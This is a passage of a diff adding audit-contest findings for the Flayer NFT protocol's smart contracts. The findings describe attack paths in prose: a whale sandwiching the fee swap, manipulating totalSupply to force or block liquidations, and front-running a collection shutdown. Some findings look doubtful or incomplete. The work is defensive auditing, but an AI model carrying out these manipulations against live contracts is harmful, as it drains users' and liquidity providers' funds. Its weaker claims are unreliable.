+
+The collection Pool has the minimum initialized Liquidity (10 fNFT Tokens), or less if collection initializer withdrawn any to make the attack more feasible
+
+ammFee is not set to make the attack more profitable, but not dependant on it
+### External pre-conditions
+
+Whale Malicious Actor Having High number of NFTs of that collection
+
+### Attack Path
+
+1. Malicious whale makes 1K fNFT Tokens swap in the direction of (1 for 0 which doesn't trigger `beforeSwap()` Hook [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L501-L502)) that moves the price of fNFT token very low compared to `wETH`
+2. That malicious whale makes a swap in the direction of 0 for 1 with
+3. `beforeSwap` Hook logic gets triggered and the swap Delta amounts gets computed [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L534-L541) since the attacker chose to take what ever fees he can take by specifying `params.amountSpecified` to be < 0
+4. Since price was retrieved here `(uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);` the price we are executing at is the manipulated very low fNFT-wETH making `ethIn` low amount and `tokenOut` as the whole Fees
+5. The swap gets executed and the fees of that Pool are all sent to the that user in very low price
+6. Then The malicious whale tries to revert the step one swap and the `beforeSwap` hook won't do any thing since the `pendingPoolFees.amount1` are all swapped already
+7. Now That Whale has swapped the pool fees and provided very low `wETH` by sandwiching his txn, he can now dump those `collectionToken` on the Pool by selling them in the their real Price after he revert his step 1, this profits him and makes LP providers lose funds
+
+
+
+### Impact
+Loss of fees to that pool Liquidity Providers, forcing them to sell at my manipulated price
+
+
+### Mitigation
+use TWAP for fees swapping
\ No newline at end of file
diff --git a/240.md b/240.md
new file mode 100644
index 0000000..8b6d0b9
--- /dev/null
+++ b/240.md
@@ -0,0 +1,116 @@
+Skinny Pear Crane
+
+High
+
+# `FlayerTokenMigration` uses fixed rates to swap from `$NFTX/$FLOOR` to `$Flayer` that creates arbitrage opportunities
+
+## Summary
+Issue High: `FlayerTokenMigration` uses fixed rates to swap from `$NFTX/$FLOOR` to `$Flayer` that creates arbitrage opportunities
+
+## Vulnerability Detail
+
+`FlayerTokenMigration` uses fixed rates to swap from `$NFTX/$FLOOR` to `$Flayer`. A user burns `100e18` `NFTX` to get `1234e18` `Flayer` with fixed `nftxRatio` and burns `100e18` `FLOOR` to get `123e18` `Flayer` with fixed `floorRatio`. The price of `NFTX` is $12.17 in `UniswapV3` at Sep-10-2024 04:50:59 AM UTC. While in the floorV2 protocol, a user deposit `1e18` `WETH` can mint `1000e18` `FLOOR`, which by converting the price of `FLOOR` is $2.34 at Sep-10-2024 04:50:59 AM UTC. Thus, there exists arbitrage opportunities. A user can mint `Flayer` by burning `NFTX` at a lower cost than a user who mint `Flayer` by burning `FLOOR`.
+
+
+[FlayerTokenMigration](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/migration/FlayerTokenMigration.sol#L37-L38)
+```solidity
+ uint public constant nftxRatio = 12.34 ether;
+ uint public constant floorRatio = 1.23 ether;
+```
+[FlayerTokenMigration](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/migration/FlayerTokenMigration.sol#L64-L104)
+```solidity
+ function swap(address _recipient, bool _burnNftx, bool _burnFloor) external whenNotPaused {
+ // If no tokens are selected to be burnt, then we revert early
+ if (!_burnNftx && !_burnFloor) revert NoTokensSelected();
+
+ // Store the total amount of $FLAYER token that will be minted to
+ // the recipient.
+ uint totalFlayerAmount;
+
+ // Define our balance variables as we use them in the event regardless
+ uint nftxBalance;
+ uint floorBalance;
+
+ // Check if we are burning $NFTX
+ if (_burnNftx) {
+ nftxBalance = nftx.balanceOf(msg.sender);
+ nftx.transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, nftxBalance);
+
+ unchecked {
+ totalFlayerAmount += nftxBalance * nftxRatio / 1 ether;
+ }
+ }
+
+ // Check if we are burning $FLOOR
+ if (_burnFloor) {
+ floorBalance = floor.balanceOf(msg.sender);
+ floor.burnFrom(msg.sender, floorBalance);
+
+ unchecked {
+ totalFlayerAmount += floorBalance * floorRatio / 1 ether;
+ }
+ }
+
+ // If we have build up an amount of $FLAYER to send, then mint it and
+ // send it to the recipient.
+ if (totalFlayerAmount > 0) {
+ flayer.transfer(_recipient, totalFlayerAmount);
+ }
+
+ // Notify listeners that we have performed a swap
+ emit TokensSwapped(nftxBalance, floorBalance, totalFlayerAmount);
+ }
+```
+
+
+
+## Proof of Concept
+
+
+1.The price of NFTX in uniswapV3 can be viewed in the following link.
+https://coinmarketcap.com/dexscan/ethereum/0x930b2c8ff1de619d4d6594da0ba03fdeda09a672/.
+
+2.In the floorV2 protocol, a user deposit `1e18` `WETH` can mint `1000e18` `FLOOR`.
+https://etherscan.io/address/0x89336e8a7e6fb2a0ad0803e940958718c5bf44be#code
+```solidity
+ function claim(address _to, uint _amount) external {
+ // Ensure that we have sufficient FLOOR allocation to claim against
+ require(_allocation[msg.sender] >= _amount, 'Insufficient allocation');
+
+ // We ensure that the amount is not 0, and that `_amount % 1e3` equals zero as
+ // otherwise it could be exploited to acquire a non-zero amount of FLOOR tokens
+ // without transferring any WETH tokens due to the way the 1-to-1000 ratio between
+ // the tokens is enforced.
+ require(_amount != 0, 'Invalid amount');
+ require(_amount % 1e3 == 0, 'Invalid amount');
+
+ // Transfer the WETH to the {Treasury}. This will need to have already been
+ // approved by the sender.
+ WETH.safeTransferFrom(msg.sender, address(treasury), _amount / 1e3);
+
+ // Reduce the allocation amount from the user. This has already been sanitized
+ unchecked {
+ _allocation[msg.sender] -= _amount;
+ }
+
+ // Transfer our FLOOR to the defined recipient
+ FLOOR.mint(_to, _amount);
+ }
+```
+
+
+## Impact
+
+A user can mint `$Flayer` by burning $NFTX at a lower cost than a user who mint `$Flayer` by burning $FLOOR.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/migration/FlayerTokenMigration.sol#L37-L38
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/migration/FlayerTokenMigration.sol#L64-L104
+
+## Tool used
+Manual Review
+
+## Recommendation
+
+Do not use fixed rates to swap from `$NFTX/$FLOOR` to `$Flayer`.
\ No newline at end of file
diff --git a/249.md b/249.md
new file mode 100644
index 0000000..c80ef0e
--- /dev/null
+++ b/249.md
@@ -0,0 +1,65 @@
+Tart Laurel Starling
+
+Medium
+
+# The liquidity injection function does not take into account the impact of currency flipping, leading to potential funding errors
+
+## Summary
+The liquidity injection function does not take into account the impact of currency flipping, leading to potential funding errors
+## Vulnerability Detail
+In the `initializeCollection` function of `UniswapImplementation.sol`, the parameters `amount0` and `amount1` of `CallbackData` take into account the case of currencyFlipped, but `liquidityTokens` does not take into account the case of currencyFlipped. The default is that `liquidityTokens` is `_amount1`. In fact, this is only one case, and there is another case that has not been judged.
+
+### First case:
+• When `currencyFlipped` == `true`:
+• `amount0` actually represents the amount of the underlying token.
+• `amount1` represents the amount of ETH equivalent tokens.
+• In this case, liquidityTokens should point to `_amount0`, because `amount0` now represents the amount of the underlying token (originally the role of `amount1`).
+### Second case:
+• When `currencyFlipped` == `false`:
+• `amount0` is the ETH equivalent token.
+• `amount1` is the underlying token.
+• In this case, liquidityTokens correctly points to `_amount1` because it represents the amount of the underlying token.
+## Impact
+Due to improper handling of token flipping logic, liquidityTokens may point to the wrong number of tokens, resulting in biased liquidity calculations.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L233-L236
+```solidity
+ poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+If `currencyFlipped` is `true`, it means that the token roles have been flipped, and you will now treat B as the underlying token, so the logic originally based on A should be replaced by the logic based on B.
+
+So in the code, if `currencyFlipped` == `true`, you should actually use _amount0 to represent liquidityTokens, because after the flip, the amount of the underlying token changes from amount1 to amount0.
+```solidity
+ poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: poolParams.currencyFlipped ? _amount0 : _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+```
diff --git a/253.md b/253.md
new file mode 100644
index 0000000..a1fa837
--- /dev/null
+++ b/253.md
@@ -0,0 +1,22 @@
+Big Arctic Platypus
+
+Medium
+
+# Lack of support for fee on transfer, rebasing and tokens with balance modifications outside of transfers.
+
+krkba
+## Summary
+
+## Vulnerability Detail
+in Listings::fillListings, The `transferFrom` function of the `_collectionToken` is used directly.
+This could lead to issues with tokens like USDT, which do not return a boolean value and may not conform to the ERC20 standard. If `_collectionToken` is a fee-on-transfer token or does not return true/false, the transfer will fail.
+## Impact
+ accounting issues
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L587
+## Tool used
+
+Manual Review
+
+## Recommendation
+use SafeERC20's `safeTransferFrom` method to handle all ERC20 tokens safely.
\ No newline at end of file
diff --git a/255.md b/255.md
new file mode 100644
index 0000000..3596d02
--- /dev/null
+++ b/255.md
@@ -0,0 +1,29 @@
+Big Arctic Platypus
+
+Medium
+
+# `cancelListings` function can`t cancel ProtectedListings .
+
+## Summary
+
+## Vulnerability Detail
+in Listings::cancelListings , this function is made to cancel all types of listings except dutch,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L427-L430
+as we see here it checks that only liquid listing can be cancelled, but in Enums.sol we have four listings types:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/Enums.sol#L17-L39
+so, no one of them is able to be cancelled except liquid.
+
+secondly the whitepaper said that DUTCH auction be be closed anytime by the user :
+![Screenshot 2024-09-11 232619](https://github.com/user-attachments/assets/c301d223-a4b3-4632-9b9f-9ad3b39c9ef2)
+ but its not.
+
+## Impact
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+revise the restriction mechanism.
\ No newline at end of file
diff --git a/257.md b/257.md
new file mode 100644
index 0000000..6a50d62
--- /dev/null
+++ b/257.md
@@ -0,0 +1,214 @@
+Rich Chrome Whale
+
+High
+
+# Malicious Whale can manipulate `totalsupply` to liquidate or illiquidate a liqudiateable listing
+
+### Summary
+
+Inorder to liquidate a listing we check the `ProtectedListingHealth`,
+Manipulating `totalsupply` affect `ProtectedListingHealth` through multiple steps (explained bellow), making a whale liquidate illiquidateable listing and vice versa.
+
+- Malicious whale can `deposit` and `redeem` affecting `ProtectedListingHealth` as it depends on `totalsupply` of the collection making:
+ - `unlockPrice_` more than `0.95 ether` And making a list liquidatable and benefit from the `KEEPER_REWARD`.
+- Or vice versa sandwiching `ProtectedListings::liquidateProtectedListing` calling `redeem` and `deposit` and hold liquidatable position.
+
+### Root Cause
+
+Utilizationrate is whale manipulatable.
+
+Its feasible to the whale since `redeem` and `deposit` can be called in the same txn and no economical harm is applied to him during the attack
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+Whale having high number of NFTs
+
+### Attack Path
+
+In `ProtecterdListings::liquidateProtectedListing` to liquidate a listing it first check the collateral
+[ProtectedListings.sol#L429-L433](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L429-L433)
+
+```solidity
+File: ProtectedListings.sol
+428: function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+429: // Ensure that the protected listing has run out of collateral
+430:@> int collateral = getProtectedListingHealth(_collection, _tokenId); //@audit bug, iam thinking about flashLoans attacks to make his health factor negative
+431:@> if (collateral >= 0) revert ListingStillHasCollateral();
+```
+
+`collateral` is (0.95 ether - `unlcokPrice`).
+[ProtectedListings.sol#L497-L501](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L497-L501)
+
+```solidity
+File: ProtectedListings.sol
+496: function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+497: // So we start at a whole token, minus: the keeper fee, the amount of tokens borrowed
+498: // and the amount of collateral based on the protected tax.
+499:@> return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+500: }
+```
+
+`unlcokPrice` calculated by `listing.checkpoint` and `currentCheckpoint`.
+[ProtectedListings.sol#L607-L617](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607-L617)
+
+```solidity
+File: ProtectedListings.sol
+606: function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+////code
+610: // Calculate the final amount using the compounded factors and principle amount
+611:@> unlockPrice_ = locker.taxCalculator().compound({
+612: _principle: listing.tokenTaken,
+613: _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+614:@> _currentCheckpoint: _currentCheckpoint(_collection)
+615: });
+616: }
+```
+
+Going to `TaxCalcutaor::compound`the `_currentCheckpoint.compoundedFactor` affected by the `compoundAmount_`.
+[TaxCalculator.sol#L106-L119](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L106-L119)
+
+```solidity
+File: TaxCalculator.sol
+106: function compound(
+//code
+117:@> uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+118:@> compoundAmount_ = _principle * compoundedFactor / 1e18;
+119: }
+```
+
+Going back to `ProtectedListings::unlockPrice`the `_currentCheckpoint.compoundedFactor` is calculated in `ProtectedListings::_currentCheckpoint` and affected by `_utilizationRate`
+[ProtectedListings.sol#L580-L593](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L580-L593)
+
+```solidity
+File: ProtectedListings.sol
+579: function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+580: // Calculate the current interest rate based on utilization
+581:@> (, uint _utilizationRate) = utilizationRate(_collection);
+////code
+586: // Save the new checkpoint
+587: checkpoint_ = Checkpoint({
+588:@> compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+589: _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+590: _utilizationRate: _utilizationRate,
+591: _timePeriod: block.timestamp - previousCheckpoint.timestamp
+592: }),
+```
+
+First going to `ProtectedListings::utilizationRate`:
+**The `totalsupply` affects `utilizatoinRate`**.
+[ProtectedListings.sol#L261-L274](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L261-L274)
+
+```solidity
+File: ProtectedListings.sol
+260: function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+////code
+269: // If we have no totalSupply, then we have a zero percent utilization
+270: uint totalSupply = collectionToken.totalSupply();
+271: if (totalSupply != 0) {
+272:@> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+273: }
+```
+
+Back to `ProtectedListings::_currentCheckpoint` we get `compoundedFactor` from `taxCalculator::calculateCompoundedFactor`
+[TaxCalculator.sol#L80-L91](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L80-L91)
+
+```solidity
+File: TaxCalculator.sol
+80: function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+81: // Get our interest rate from our utilization rate
+82:@> uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+83:
+84: // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+85: // in basis points per annum with 1e2 precision and we convert the annual rate to per
+86: // second rate.
+87: uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+88:
+89: // Calculate new compounded factor
+90:@> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+91: }
+```
+
+`interestRate` is affected by `_utilizationRate`
+[TaxCalculator.sol#L59-L70](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L59-L70)
+
+```solidity
+File: TaxCalculator.sol
+59: function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+60: // If we haven't reached our kink, then we can just return the base fee
+61: if (_utilizationRate <= UTILIZATION_KINK) {
+62: // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+63:@> interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+64: }
+65: // If we have passed our kink value, then we need to calculate our additional fee
+66: else {
+67: // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+68: // 100% and make it accurate to 2 decimal places.
+69:@> interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+70: }
+```
+
+Looking at those series of affections with a simple flow chart:
+
+```mermaid
+graph TD;
+ totalsupply-->utilizationRate;
+ utilizationRate-->interestRate;
+ interestRate-->currentCheckpoint.compoundedFactor;
+ currentCheckpoint.compoundedFactor-->compoundAmount;
+ compoundAmount-->unlockPrice;
+ unlockPrice-->ProtectedListingHealth;
+ ProtectedListingHealth-->unlockProtectedListing;
+ ProtectedListingHealth-->adjustPosition;
+ ProtectedListingHealth-->liquidateProtectedListing;
+
+```
+
+As said `ProtectedListingHealth` is affected by `totalsupply` through all the steps above, A whale could manipulate `totalsupply` affecting the `ProtectedListingHealth` and :
+
+- liquidate a liquid position by front running `ProtectedListings::liquidateProtectedListing` with instant `deposit` and `redeem` manipulation `totalsupply` affecting `collateral` needed in `ProtectedListings::liquidateProtectedListing` .
+- liquidate an liquid position by instant `redeem` and `deposit` and benefit from the `KEEPER_REWARD`.
+
+### Impact
+
+liquidation is whale manipulable.
+
+### PoC
+
+- First getting the consts
+ - The initial compoundfactor in `Taxcalculator::compound` this value is calculated throw creating a new listing and depends on `utilizationrate` assuming initial values is
+ - `listingsOfType_` = 20
+ - `totalsupply` = 100e18 and `utilizationRate` = 200000000000000000
+ - then the `_initialCheckpoint.compoundedFactor` = 1e18
+
+- The `_currentCheckpoint.compoundedFactor` depends on `utilizationRate` and `previousCheckpoint.compoundedFactor` and `_timePeriod` its the value of thime passed since the last compound factor
+ - These values should be as follow
+ - assume `_timePeriod` = 10000
+ - `listingsOfType_` = 20
+ - `totalsupply` = 100e18 and `utilizationRate` = 200000000000000000
+ - `previousCheckpoint.compoundedFactor` = 1e18 from previous
+ - As result from the values above `_currentCheckpoint.compoundedFactor` = 1000110984271940000
+
+- Computing `compoundAmount` from `_initialCheckpoint.compoundedFactor` and `_currentCheckpoint.compoundedFactor` assuming user take `_principle: listing.tokenTaken` = 5e17
+ - `unlockPrice_` = `compoundAmount` = 2e17
+- The health `ProtectedListingHealth` then will equal to 449445078640300000
+
+
+- Manipulating the total supply and recalculate the `_currentCheckpoint.compoundedFactor` with the new `utilizationrate` with the same data with previous example
+ - Will decrease the `totalsupply` to 1e18
+ - `_currentCheckpoint.compoundedFactor` = 1280314561136470000
+ - `unlockPrice_` = `compoundAmount` = 1280314561136470000
+ - `ProtectedListingHealth` = -951572805682350000
+- The value is negative that its liquidable whale can now liquidate the user and take the `KEEPER_REWARD = 0.05 ether` .
+- This could be vice versa and whale hold A negative value indicates that a listing can be liquidated and if any user try to liquidate him he manipulate the `utilizationRate` and hold the position.
+
+- The same method could be applied in `ProtectedListings::adjustPosition` making whale take more dept than he should, or prevent another user from taking a dept he suppose to take.
+- This is applied too in `ProtectedListings::unlockProtectedLisitngs` manipulating `collateral` and pay less fees than he must, or make another user pay alot more fees than he supposed to pay.
+### Mitigation
+
+One of the solutions is to prevent `deposit` and `redeem` in same txn, since if a user wants another NFT he can do `swap` without manipulating the supply
+
+Make it less feasible to the whale to carry the attack
diff --git a/258.md b/258.md
new file mode 100644
index 0000000..0930a61
--- /dev/null
+++ b/258.md
@@ -0,0 +1,27 @@
+Big Arctic Platypus
+
+Medium
+
+# lack of validation for `_lockerManager`
+
+## Summary
+
+## Vulnerability Detail
+in Locker.sol constructor there is the comment said
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L105
+but it actually check only the `_tokenImplementation` is not zero,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L106
+but it does not check the `_lockerManager` is zero address.
+## Impact
+_lockerManager can set to zero
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+add
+```solidity
+if (_lockerManager == address(0)) revert InvalidLockerManager();
+```
\ No newline at end of file
diff --git a/259.md b/259.md
new file mode 100644
index 0000000..f4e3cba
--- /dev/null
+++ b/259.md
@@ -0,0 +1,22 @@
+Big Arctic Platypus
+
+High
+
+# `withdrawToken` is accessable even if the protocol is paused.
+
+## Summary
+
+## Vulnerability Detail
+the Locker::withdrawToken function is marked as public and allows an approved manager to withdraw tokens from locker,
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L352-L356
+in other contracts calls it`s protected with lockerNotPaused modifier, but in locker contract if it paused this function can still be called.
+## Impact
+bad pausing mechanism in this function.
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+add whenNotPaused modifier
\ No newline at end of file
diff --git a/279.md b/279.md
new file mode 100644
index 0000000..4bf80aa
--- /dev/null
+++ b/279.md
@@ -0,0 +1,39 @@
+Wonderful Rouge Hamster
+
+Medium
+
+# Attacker can prevent shutdown execution by withdrawing locked tokens
+
+### Summary
+
+The admin passes a list of tokenIds to pull from the locker when a shutdown is executed. By frontrunning the tx and removing one of those tokens from the locker the attacker can cause the tx to revert.
+
+### Root Cause
+
+In [CollectionShutdown.sol:256](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L256) it will loop over the passed tokenIds and remove them from the locker. If the locker does not own one of those tokens, the tx will revert.
+
+Any user who owns enough collection tokens can withdraw **any** token of that collection from the locker. So whichever tokens the admin passes to `execute()` the attacker can frontrun their tx. And, the admin **must** provide tokenIds.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+Attacker frontrun the admins call to `CollectionShutdown.execute()` to withdraw one of the tokens passed in the `_tokenIds` array.
+
+### Impact
+
+Attacker can prevent a collection shtudown from being executed.
+
+### PoC
+
+none
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/291.md b/291.md
new file mode 100644
index 0000000..a00d052
--- /dev/null
+++ b/291.md
@@ -0,0 +1,99 @@
+Mythical Gauze Lizard
+
+High
+
+# The last claimant will not be able to claim compensation.
+
+### Summary
+
+In [`start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150), quorumVotes are calculated by rounding down. As a result, the claimer who called the claim() function last does not receive a reward.
+
+### Root Cause
+
+When calculating quorumVotes in start(), rounding down occurs.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The last claimant will not be able to claim compensation.
+
+### PoC
+
+The user calls start() to start shutdown vote of collection.
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+At this time quorumVotes is calculated by rounding down.
+After calling execute(), user call claim() or voteAndClaim() to claim their reward.
+```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Burn the tokens from our supply
+ params.collectionToken.burn(claimableVotes);
+
+ // Set our available tokens to claim to zero
+ delete shutdownVoters[_collection][_claimant];
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+ }
+```
+As you can see, amount is divided by quorumVotes. As a result, amount became bigger so other user has more reward and then last user does not call claim().
+
+
+### Mitigation
+
+When calculating quorumvotes in start(), use rounding up.
\ No newline at end of file
diff --git a/294.md b/294.md
new file mode 100644
index 0000000..912be7c
--- /dev/null
+++ b/294.md
@@ -0,0 +1,32 @@
+Funny Grape Ladybug
+
+Medium
+
+# Inconsistent data types
+
+## Summary"
+The `_duration` parameter in the `TaxCalculator::calculateTax` function is defined as `uint` (which defaults to `uint256`), while in the `IListings::Listing` struct, the duration is defined as `uint32`. This creates a data type mismatch that can result in inefficiency, particularly in terms of gas consumption and errors in calculations.
+
+## Vulnerability Detail
+In the `IListings::Listing` struct, duration is defined as a `uint32` (32-bit unsigned integer). However, in the `TaxCalculator::calculateTax` function, `_duration` is passed as a `uint` (which defaults to uint256 or 256-bit unsigned integer).
+
+## Impact
+The impact of this issue is primarily related to gas efficiency. Using a larger data type like `uint256` when only a `uint32` is needed results in higher gas costs for storing and operating on the variable and also incorrect calculations.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L35C5-L35C126
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IListings.sol#L56C2-L61C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure consistency in the data types by changing the `_duration` parameter in the `TaxCalculator::calculateTax` function to `uint32`, matching the `IListings::Listing` struct.
+
+```solidity
+function calculateTax(address _collection, uint _floorMultiple, uint32 _duration) public pure returns (uint taxRequired_) {
+ // ...
+}
+```
\ No newline at end of file
diff --git a/297.md b/297.md
new file mode 100644
index 0000000..a1ba881
--- /dev/null
+++ b/297.md
@@ -0,0 +1,46 @@
+Funny Grape Ladybug
+
+Medium
+
+# Data type mismatch will cause incorrect event emission in listing floor multiple updates
+
+## Summary
+A data type mismatch occurs when emitting the `Listings::ListingFloorMultipleUpdated` event, as the `listing.floorMultiple` and `params.floorMultiple` are of type `uint16`, while the event expects `uint32`. This mismatch can lead to incorrect values being logged in events, potentially causing data inconsistency.
+
+## Vulnerability Detail
+In the contract, `listing.floorMultiple` and `params.floorMultiple` are defined as `uint16`. However, when emitting the `ListingFloorMultipleUpdated` event, the contract attempts to pass these `uint16` values to parameters that are defined as `uint32` in the event signature. This discrepancy results in a data type mismatch, which may cause incorrect data to be emitted to the event logs.
+
+## Impact
+**Incorrect Event Logs:** The values for floorMultiple in the event could be inaccurately represented, leading to incorrect event data.
+**Potential Off-Chain Issues:** Off-chain services or dApps relying on accurate event logs might process incorrect data, leading to unintended behavior or misreporting.
+**Data Integrity Concerns:** Auditors or third parties tracking the contract’s state through events may see incorrect values, affecting the transparency and reliability of event logs.
+
+## Code Snippet
